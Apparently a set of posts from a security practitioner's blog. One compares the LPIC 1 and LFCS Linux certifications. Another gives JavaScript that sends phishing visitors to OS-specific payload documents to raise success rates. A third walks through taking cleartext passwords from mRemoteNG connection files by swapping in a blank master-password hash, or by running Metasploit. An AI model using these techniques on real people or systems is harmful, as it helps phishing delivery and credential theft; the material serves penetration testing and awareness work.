Linux Administration Certifications: LPIC 1 and LFCS

LPIC 1 and LFCS

TLDR; The LPIC 1 and LFCS certifications can both be used to validate your skills, however the LFCS provides a robust and uniquely hands-one, testing approach.

I recently passed the LPIC 1 (Linux Professional Institute Certified System Administrator) and LFCS (Linux Foundation Certified System Administrator) certification exams. I’m now planning to pursue the LPIC 2 and LFCE certifications this coming year. Several individuals have approached me interested in hearing more about my experiences and some of big differences between the LPIC 1 and LFCS. I’ll attempt to address those questions here and also share my opinions on the perceived value in the market place today.

Big Differences

The biggest differences between the LPIC 1 and LFCS certifications, definitely come down to the testing methods they each use. The LPIC 1 is a standard multiple choice style examination, with a few fill the blank questions. The LPIC features two exams with 50 knowledge base and practical application question, over one and half hours. The LFCS on the other hand, is a interactive practical applications exam. Wherein the tester is given 40 practical multi-step tasks, within an actual Linux terminal, with two hours to complete as many as possible.

Another major difference between the LPIC 1 and LFCS is how the testing is conducted. The two LPIC 1 exams are proctored by Pearson Vue, so they take place in your standard testing center. Since it’s a standard multiple choice exam, in a standard testing center, you will receive your test results right after completing the exam. You are scored based on whether or not you select the correct answers to the exam questions and the respective weight in each of the tested categories. The LFCS is a online exam which utilizes a web cam, a screen share, a task portal, and a live connection to a Linux system to conduct the exam. Throughout the exam you have terminal access to your own Linux virtual machine, to complete your various tasks.  The entire system is graded upon completion and delays receiving your final score. Thus your score is based on whether each step of the tasks and the tasks themselves are completed correctly. Its also rumored, that points lost on one task can be recovered on others based on the methods used, cleanliness, and overall efficiency.

Difficulty Level

The difficulty level of the LPIC 1 and LFCS is heavily debated, however I think it comes down to how you study and your experience within the Linux terminal. That being said, the LPIC 1 is largely a test of base knowledge, so if one puts forth the time and effort to review some of the coursework out there, they shouldn’t have any problem completing the exam. I honestly don’t believe your experience in the Linux terminal is going to help you out anyone more then one of the official books. The exam is all about knowing the command names and what they do. On the other hand, the LFCS exam, and its largely based on weather or not you can complete a business operations related task, in a timely manner. There is no official book for the LFCS exam, although there is online coursework which introduces you to commands and then provides lab activities for completion all on your own. Having completed all of the online course work, I believe its likely sufficient to pass the exam. However I think the real world Linux experience would be quite a bit more useful during the LFSC exam, simple because your being indirectly scored on timeliness and efficiency. Addtionally, on top of having to understand what the names of commands are and what they do, one also needs to understand how to effectively use each command to successfully pass the LFSC exam. Overall I would say the LFCS is going to be far more difficult for those newer to Linux, if only because of more intimidating structure of the exam and the review of ones efficiency.

Market Value

When it comes to the market value of the LPIC 1 and LFCS certifications, I think the total value depends on your individual goals. For instances, if your goal is to get your foot in the door at a large institution, I would recommend the LPIC 1 since it has been around longer and thus has a greater chance of being recognized by a recruiter or HR. The LPIC 1 is also going to be better if your goal is to continue on and become more specialized within the Linux space. If your goal is instead to provide validation of your skills and experience to a future or current employer I would highly recommend the LFCS. In addition to the certification being run by the Linux Foundation themselves, they now have a partnership with Microsoft. This new partnership creates a great opportunity for those working within more diverse environments, by allowing for canadits to take both Linux foundation and Microsoft certifications to become specialized in mix environments and/or cloud. Overall I think if your really trying to project your worth to the market, the LPIC 1 is a better bet, simply because its been around longer and currently has more recognize then LFCS. However, I’d bet the LFCS will soon take its place at the top, due to the growing relationships being fostered by the Linux Foundation.

Honorable Mentions

Although I have not attempted these exams, because they are distribution specific, the OCA (Oracle Certified Administrator) and the RHCSA (Red Hat Certified System Administrator) both seem to have more visibility in the market place. This is likely due to the huge brand recognition associated with these respective certifications. If your already employed with an organization that mostly utilizes either of these distributions, they may provide more bang for your buck.

Just Providing a little Browser Guidance

Browser Guidance

TLDR; JavaScript can be utilized to detect the victims browser and operating system, in order provide a little browser guidance and increase payload success rates.

Problem

In some cases, Trojan payloads and/or ploys don’t play very nicely when opened with newer browsers, during social engineering campaigns. Most noteworthy is the classic HTA payload causing security warnings in google Chrome and Firefox; if advanced security is configured within the browser. It can also be difficult to create a single payload that will work effectively on all possible target operating systems. Additionally, with the increase in smart phone email solutions usage and company departments utilizing Mac OSX, users opening sites on unintended devices can led to an unintended variance in security awareness campaign testing.

Solution

One can simply place some java script, like the following, within the HTML of a ploy page to provide browser guidance, based on the detected end users browser. Below is an example of forwarding all non-IE browsers to an unsupported browser landing page.


// Opera 8.0+
var isOpera = (!!window.opr && !!opr.addons) || !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0;
// Firefox 1.0+
var isFirefox = typeof InstallTrigger !== 'undefined';
// At least Safari 3+: "[object HTMLElementConstructor]"
var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0;
// Internet Explorer 6-11
var isIE = /*@cc_on!@*/false || !!document.documentMode;
// Edge 20+
var isEdge = !isIE && !!window.StyleMedia;
// Chrome 1+
var isChrome = !!window.chrome && !!window.chrome.webstore;
// Blink engine detection
var isBlink = (isChrome || isOpera) && !!window.CSS;
    
if((isFirefox==true) || (isSafari==true) || (isChrome==true) || (isBlink==true) || (isOpera==true)){
	document.location = "unsupported.html";
}

Using a similar operating system detection script, one can offer up different payloads based on operating system, parsed from the end user browser agent. Below is an  example of some javascript based operating system detection, being used to deliver different payloads to Windows, Mac, and Linux clients, while weeding out mobile devices.

	
var isWindows = navigator.appVersion.indexOf("Win")>=0;
var isMac = navigator.appVersion.indexOf("Mac")>=0;
var isUnix = navigator.appVersion.indexOf("X11")>=0;
var isLinux = navigator.appVersion.indexOf("Linux")>=0;
var isAndroid = /(android)/i.test(navigator.userAgent);
var isIOS = /(iPhone|iPod|iPad)/i.test(navigator.userAgent);
	 
if((isAndroid==true) || (isIOS==true)){
	document.location = "unsupported.html";
} else if(isWindows==true){
	document.location = "Windows.doc";
} else if(isMac==true){
	document.location = "Mac.doc";
} else if((isUnix==true) || (isLinux==true)){
	document.location = "Nix.doc";
} else {
	document.location = "unsupported.html";

Shout Out

Although these checks seem to have re-posted everywhere making it hard to firm up attribution, my props and thanks go out to the original author(s) and testers of these browser detection and browser guidance strings.

mRemoteNG: Just Loaded with “Features”

TL;DR: mRemoteNG uses insecure methods for password storage and can provide droves of valid credentials during an assessment or competition.

Level Set

mRemoteNG (mremote) is an open source project (https://github.com/rmcardle/mRemoteNG) that provides a full-featured, multi-tab remote connections manager. It currently supports RDP, SSH, Telnet, VNC, ICA, HTTP/S,  rlogin, and raw socket connections. Additionally, It also provides the means to save connection settings such as hostnames, IP addresses, protocol, port, and user credentials, in a password protected and encrypted connections file.

Problem

During a recent pentest, I was struggling to gain additional administrative access to key systems ,even with standard user authentication.  However, during some share pillaging I found a backup of an old mRemote connections file. The connections file houses all the information needed to gain remote access to a given system (IP/Hostname, Protocol, Port, Username, and Password). However, the credentials are encrypted, by default, and the connections file was protected by a master password.

Solution

It turns out, the master password is just used by the program to determine whether or not to load in the selected connections file. The stored credentials are actually encrypted with a static string, not the master password. This creates a scenario wherein the master password hash can simply be replaced with a blank password hash, to bypass the master password prompt. Once the connections file is loaded, the program even has the ability to add additional “External tools”, which allow for access to the programs variables and memory space. This allows for simple echo commands to be added to reveal hidden details about each connection, such as the clear text password.

How to Access The Clear Text Credentials

Method 1: Using the Program itself

To start ensure that mRemoteNG is closed or download the portable version of the application.

mRemoteNG Password Prompt

Second navigate to the default mRemoteNG data folder (C:\Users\\AppData\Roaming\mRemoteNG) or acquire the connections configuration file. Alternatively, enter the  path %appdata%/mRemoteNG into Start/Run, to go directly to the default installation location. Or use the portable version of the application, for any backup files you may have discovered while pillaging.

Third open the connections configuration file (by default called confCons.xml) in your favorite text editor.
mRemoteNG Connections file
Then, on the second line, locate the Protected=”a bunch of numbers/letters” string and replace it with the value below.
Protected=”GiUis20DIbnYzWPcdaQKfjE2H5jh//L5v4RGrJMGNXuIq2CttB/d/BxaBP2LwRhY”
Note: This is just a master password hash of blank, to allow for the connections file to be loaded.

mRemoteNG blank master password hash

Next, just re-open mRemoteNG and load the connections file, by simply submitting a blank password to the master password prompt.

mRemoteNG Connection file loaded via blank hash

To see the clear text of a given password, go to “Tools” > “External Tools”. Then right-click in the white space and choose “New External Tool”. Next, in the External Tools Properties, fill in a “Display Name”, “Filename” and some “arguments”, with “Password lookup”, CMD and “/k echo %password%” respectively.

mRemoteNG external tool

Finally, go to the connection where you would like to reveal the connection and right-click on it and choose “External tools” > “Password lookup”.

mRemoteNG external tool shows password

Method 2: Using an Offline Decoder

A modified version of the Metasploit module Ruby code, can be used to get the clear text passwords from within a protected connections file.

The file can be downloaded from packetstorm (https://packetstormsecurity.com/files/126309/mRemoteOffPwdsDecrypt.rb.txt) and run on Kali systems as such:
ruby mRemoteOffPwdsDecrypt.rb confCons.xml

Method 3: Using the Metasploit Post Module

Once you have a meterpreter shell on an administrators system that has mRemoteNG installed, simply run the post module with the following command and enjoy clear text.
run post/windows/gather/credentials/mremote

Note: mRemoteNG is a platform agnostic program, however the post module only works on Windows and will only parse the default connections file (confCons.xml) and location (%appdata%/mRemoteNG).

As always,
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